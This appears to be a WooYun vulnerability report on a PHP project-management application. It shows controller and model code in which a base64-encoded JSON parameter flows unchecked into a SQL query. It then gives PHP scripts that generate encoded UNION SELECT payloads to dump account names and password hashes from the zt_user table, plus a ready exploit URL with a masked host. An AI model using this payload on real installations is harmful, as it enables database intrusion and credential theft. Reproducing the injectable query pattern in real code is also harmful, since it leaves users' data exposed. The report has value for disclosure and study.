WooYun.org

public function main()


    {


        $lang = $this->get->lang;


        $this->app->setClientLang($lang);


        $this->app->loadLang('common');


        $this->app->loadLang('block');





        $mode = strtolower($this->get->mode);


        if($mode == 'getblocklist')


        {   


            echo $this->block->getAvailableBlocks();


        }   


        elseif($mode == 'getblockform')


        {   


            $code = strtolower($this->get->blockid);


            $func = 'get' . ucfirst($code) . 'Params';


            echo $this->block->$func();


        }   


        elseif($mode == 'getblockdata')


        {


            $code = strtolower($this->get->blockid);





            $params = $this->get->param;


            $params = json_decode(base64_decode($params));


            $sso    = base64_decode($this->get->sso);





            if(!isset($this->app->user)) $this->app->user = new stdclass();


            if(!isset($this->app->user->account) or $this->app->user->account != $params->account) $this->app->user->account = $params->account;





            $this->params     = $params;


            $this->view->sso  = $sso;


            $this->view->sign = strpos($sso, '&') === false ? '?' : '&';


            $this->view->code = $this->get->blockid;





            $func = 'print' . ucfirst($code) . 'Block';


            $this->$func();


        }


    }

public function printTaskBlock()


    {


        $this->view->tasks = $this->loadModel('task')->getUserTasks($this->app->user->account, $this->params->type, $this->params->num, null, $this->params->orderBy);


        $this->display();


    }

public function getUserTasks($account, $type = 'assignedTo', $limit = 0, $pager = null, $orderBy="id_desc")


    {


        $tasks = $this->dao->select('t1.*, t2.id as projectID, t2.name as projectName, t3.id as storyID, t3.title as storyTitle, t3.status AS storyStatus, t3.version AS latestStoryVersion')


            ->from(TABLE_TASK)->alias('t1')


            ->leftjoin(TABLE_PROJECT)->alias('t2')


            ->on('t1.project = t2.id')


            ->leftjoin(TABLE_STORY)->alias('t3')


            ->on('t1.story = t3.id')


            ->where('t1.deleted')->eq(0)


            ->beginIF($type != 'all')->andWhere("t1.$type")->eq($account)->fi()


            ->orderBy($orderBy)


            ->beginIF($limit > 0)->limit($limit)->fi()


            ->page($pager)


            ->fetchAll();





        $this->loadModel('common')->saveQueryCondition($this->dao->get(), 'task');





        if($tasks) return $this->processTasks($tasks);


        return array();


    }

<?php


	$exp = new stdclass();


	$exp->account = "admin";


	$exp->type = "id=-1 sql_inj #";


	


	echo base64_encode(json_encode($exp));


	// eyJhY2NvdW50IjoiYWRtaW4iLCJ0eXBlIjoiaWQ9LTEgc3FsX2luaiAjIn0=

<?php


	$exp = new stdclass();


	$exp->account = "admin";


	$exp->type = "id=-1 UNION SELECT 1,2,3,4,5,6,account,8,9,password,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 FROM zt_user#";


	


	echo base64_encode(json_encode($exp));


	// eyJhY2NvdW50IjoiYWRtaW4iLCJ0eXBlIjoiaWQ9LTEgVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LGFjY291bnQsOCw5LHBhc3N3b3JkLDEsMiwzLDQsNSw2LDcsOCw5LDAsMSwyLDMsNCw1LDYsNyw4LDksMCwxLDIsMyw0LDUsNiw3LDggRlJPTSB6dF91c2VyIyJ9

http://**.**.**.**/block-main.html?mode=getblockdata&blockid=task&param=eyJhY2NvdW50IjoiYWRtaW4iLCJ0eXBlIjoiaWQ9LTEgVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LGFjY291bnQsOCw5LHBhc3N3b3JkLDEsMiwzLDQsNSw2LDcsOCw5LDAsMSwyLDMsNCw1LDYsNyw4LDksMCwxLDIsMyw0LDUsNiw3LDggRlJPTSB6dF91c2VyIyJ9